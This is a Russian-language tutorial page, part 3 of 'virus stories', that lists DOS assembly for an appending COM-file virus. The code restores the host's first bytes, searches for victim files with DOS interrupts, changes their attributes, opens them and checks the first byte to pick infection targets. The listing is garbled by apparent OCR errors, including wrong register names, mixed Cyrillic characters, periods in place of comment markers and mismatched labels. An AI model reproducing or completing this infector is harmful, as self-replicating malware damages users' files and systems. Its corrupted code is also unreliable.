Истории о вирусах



              

Тело вируса записывается в конец - часть 3


call MySelf

MySelf:

pop bp

восстанавливаем первые три байта исходной программы

mov al,[bp+(offset bytes_3[0]-offset MySelf)]

mov byte ptr cs:[100h],al

mov al,[bp+(offset bytes_3[1]-offset MySelf)]

mov byte ptr cs:[101h],al

mov al,[bp+(offset bytes_3[2]-offset MySelf)]

mov byte ptr cs:[102h],al

[Дальнейшая задача вируса - найти новую жертву.

;Для этого используется функция 4Eh (Найти первый файл).

;Ищем файл с любыми атрибутами

Find_First:

.Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx.offset fname-offset myself

add dx.bp

mov cx,00100111b

int 21 h

;Если файл найден - переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

attributes:

.Читаем оригинальные атрибуты файла

mov ax,4300h

mov dx,9Eh .Адрес имени файла

int 21 h

.Сохраняем оригинальные атрибуты файла

push ex

•.Устанавливаем новые атрибуты файла

mov ax,4301h

mov dx,9Eh .Адрес имени файла

mov cx,20h

int 21 h

Переходим к открытию файла

jmp Open

;Ищем следующий файл, так как предыдущий не подходит

FincLNext:

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh ;Адрес имени файла

pop сх

int 21 h

[Закрываем файл

mov ah,3Eh

int 21 h

;Ищем следующий файл

mov ah,4Fh

int 21 h

;Если файл найден - переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

.-Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21 h

;Если при открытии файла ошибок не произошло -

.переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx.ax

mov ah,3Fh

mov dx.offset buf-offset myself

add dx,bp

xor ex,ex ;CX=0

inc ex [(увеличение на 1) СХ=1

int 21 h

.Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего файла -

;этот для заражения не подходит

cmp byte ptr [bp+(offset buf-offset myself )],OE9h

jne find_next

; Переходим в начало файла

mov ax,4200h




Содержание  Назад  Вперед